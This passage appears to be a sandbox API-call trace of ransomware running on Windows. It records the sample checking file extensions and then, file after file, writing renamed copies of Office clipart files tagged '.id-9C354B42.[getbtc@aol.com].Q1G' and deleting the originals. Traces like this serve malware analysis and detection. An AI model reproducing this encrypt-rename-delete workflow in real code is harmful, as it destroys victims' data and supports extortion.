Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0245.108] lstrlenW (lpString=".dbf") returned 4 [0245.108] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0245.108] lstrlenW (lpString=".1cd") returned 4 [0245.108] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0245.108] lstrlenW (lpString=".jpg") returned 4 [0245.108] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.108] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0245.108] lstrlenW (lpString="BS00136_.WMF") returned 12 [0245.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0245.110] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=2166) returned 1 [0245.110] CloseHandle (hObject=0x3bc) returned 1 [0245.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x20 [0245.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0245.111] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.111] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0245.111] GetLastError () returned 0x0 [0245.111] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x876, lpOverlapped=0x0) returned 1 [0245.132] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x880, lpOverlapped=0x0) returned 1 [0245.133] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.133] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.133] SetEndOfFile (hFile=0x390) returned 1 [0245.133] CloseHandle (hObject=0x390) returned 1 [0245.133] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.133] SetEndOfFile (hFile=0x3bc) returned 1 [0245.135] CloseHandle (hObject=0x3bc) returned 1 [0245.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.190] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 1 [0245.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0245.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0245.209] lstrlenW (lpString=".doc") returned 4 [0245.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.209] lstrlenW (lpString=".docx") returned 5 [0245.209] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.209] lstrlenW (lpString=".pdf") returned 4 [0245.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.209] lstrlenW (lpString=".xls") returned 4 [0245.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.209] lstrlenW (lpString=".xlsx") returned 5 [0245.209] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.209] lstrlenW (lpString=".ppt") returned 4 [0245.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0245.209] lstrlenW (lpString=".zip") returned 4 [0245.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.209] lstrlenW (lpString=".rar") returned 4 [0245.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.209] lstrlenW (lpString=".bz2") returned 4 [0245.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.209] lstrlenW (lpString=".7z") returned 3 [0245.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0245.210] lstrlenW (lpString=".dbf") returned 4 [0245.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0245.210] lstrlenW (lpString=".1cd") returned 4 [0245.210] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0245.210] lstrlenW (lpString=".jpg") returned 4 [0245.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0245.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0245.210] lstrlenW (lpString=".doc") returned 4 [0245.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.210] lstrlenW (lpString=".docx") returned 5 [0245.210] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.210] lstrlenW (lpString=".pdf") returned 4 [0245.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.210] lstrlenW (lpString=".xls") returned 4 [0245.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.210] lstrlenW (lpString=".xlsx") returned 5 [0245.210] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.211] lstrlenW (lpString=".ppt") returned 4 [0245.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0245.211] lstrlenW (lpString=".zip") returned 4 [0245.211] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.211] lstrlenW (lpString=".rar") returned 4 [0245.211] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.211] lstrlenW (lpString=".bz2") returned 4 [0245.211] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.211] lstrlenW (lpString=".7z") returned 3 [0245.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0245.211] lstrlenW (lpString=".dbf") returned 4 [0245.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0245.211] lstrlenW (lpString=".1cd") returned 4 [0245.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0245.211] lstrlenW (lpString=".jpg") returned 4 [0245.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.211] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0245.211] lstrlenW (lpString="BS00200_.WMF") returned 12 [0245.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0245.212] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=3104) returned 1 [0245.212] CloseHandle (hObject=0x338) returned 1 [0245.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x20 [0245.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0245.212] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.212] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0245.213] GetLastError () returned 0x0 [0245.213] ReadFile (in: hFile=0x338, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xc20, lpOverlapped=0x0) returned 1 [0245.264] WriteFile (in: hFile=0x394, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xc30, lpOverlapped=0x0) returned 1 [0245.265] ReadFile (in: hFile=0x338, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.265] WriteFile (in: hFile=0x394, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.265] SetEndOfFile (hFile=0x394) returned 1 [0245.307] CloseHandle (hObject=0x394) returned 1 [0245.307] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.307] SetEndOfFile (hFile=0x338) returned 1 [0245.309] CloseHandle (hObject=0x338) returned 1 [0245.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.344] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 1 [0245.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0245.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0245.377] lstrlenW (lpString=".doc") returned 4 [0245.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.377] lstrlenW (lpString=".docx") returned 5 [0245.377] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.377] lstrlenW (lpString=".pdf") returned 4 [0245.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.377] lstrlenW (lpString=".xls") returned 4 [0245.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.377] lstrlenW (lpString=".xlsx") returned 5 [0245.377] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.378] lstrlenW (lpString=".ppt") returned 4 [0245.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0245.378] lstrlenW (lpString=".zip") returned 4 [0245.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.378] lstrlenW (lpString=".rar") returned 4 [0245.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.378] lstrlenW (lpString=".bz2") returned 4 [0245.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.378] lstrlenW (lpString=".7z") returned 3 [0245.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0245.378] lstrlenW (lpString=".dbf") returned 4 [0245.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0245.378] lstrlenW (lpString=".1cd") returned 4 [0245.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0245.378] lstrlenW (lpString=".jpg") returned 4 [0245.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0245.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0245.378] lstrlenW (lpString=".doc") returned 4 [0245.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.378] lstrlenW (lpString=".docx") returned 5 [0245.378] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.378] lstrlenW (lpString=".pdf") returned 4 [0245.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.378] lstrlenW (lpString=".xls") returned 4 [0245.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.378] lstrlenW (lpString=".xlsx") returned 5 [0245.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.378] lstrlenW (lpString=".ppt") returned 4 [0245.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0245.378] lstrlenW (lpString=".zip") returned 4 [0245.379] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.379] lstrlenW (lpString=".rar") returned 4 [0245.379] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.379] lstrlenW (lpString=".bz2") returned 4 [0245.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.379] lstrlenW (lpString=".7z") returned 3 [0245.379] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0245.379] lstrlenW (lpString=".dbf") returned 4 [0245.379] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0245.379] lstrlenW (lpString=".1cd") returned 4 [0245.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0245.379] lstrlenW (lpString=".jpg") returned 4 [0245.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.379] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0245.379] lstrlenW (lpString="BS00438_.WMF") returned 12 [0245.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0245.380] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=1212) returned 1 [0245.380] CloseHandle (hObject=0x3a8) returned 1 [0245.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x20 [0245.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0245.380] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.380] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0245.381] GetLastError () returned 0x0 [0245.381] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x4bc, lpOverlapped=0x0) returned 1 [0245.382] WriteFile (in: hFile=0x3b0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x4c0, lpOverlapped=0x0) returned 1 [0245.383] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.383] WriteFile (in: hFile=0x3b0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.383] SetEndOfFile (hFile=0x3b0) returned 1 [0245.383] CloseHandle (hObject=0x3b0) returned 1 [0245.384] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.384] SetEndOfFile (hFile=0x3a8) returned 1 [0245.386] CloseHandle (hObject=0x3a8) returned 1 [0245.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.386] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 1 [0245.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0245.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0245.387] lstrlenW (lpString=".doc") returned 4 [0245.387] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.387] lstrlenW (lpString=".docx") returned 5 [0245.387] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.387] lstrlenW (lpString=".pdf") returned 4 [0245.387] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.387] lstrlenW (lpString=".xls") returned 4 [0245.387] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.387] lstrlenW (lpString=".xlsx") returned 5 [0245.387] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.387] lstrlenW (lpString=".ppt") returned 4 [0245.387] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0245.387] lstrlenW (lpString=".zip") returned 4 [0245.387] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.387] lstrlenW (lpString=".rar") returned 4 [0245.387] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.387] lstrlenW (lpString=".bz2") returned 4 [0245.387] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.387] lstrlenW (lpString=".7z") returned 3 [0245.387] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0245.387] lstrlenW (lpString=".dbf") returned 4 [0245.387] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0245.387] lstrlenW (lpString=".1cd") returned 4 [0245.387] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0245.387] lstrlenW (lpString=".jpg") returned 4 [0245.387] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0245.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0245.388] lstrlenW (lpString=".doc") returned 4 [0245.388] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.388] lstrlenW (lpString=".docx") returned 5 [0245.388] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.388] lstrlenW (lpString=".pdf") returned 4 [0245.388] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.388] lstrlenW (lpString=".xls") returned 4 [0245.388] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.388] lstrlenW (lpString=".xlsx") returned 5 [0245.388] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.388] lstrlenW (lpString=".ppt") returned 4 [0245.388] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0245.388] lstrlenW (lpString=".zip") returned 4 [0245.388] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.388] lstrlenW (lpString=".rar") returned 4 [0245.388] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.388] lstrlenW (lpString=".bz2") returned 4 [0245.388] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.388] lstrlenW (lpString=".7z") returned 3 [0245.388] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0245.388] lstrlenW (lpString=".dbf") returned 4 [0245.388] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0245.388] lstrlenW (lpString=".1cd") returned 4 [0245.388] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0245.388] lstrlenW (lpString=".jpg") returned 4 [0245.388] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.388] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0245.389] lstrlenW (lpString="BS00439_.WMF") returned 12 [0245.389] CreateFileW 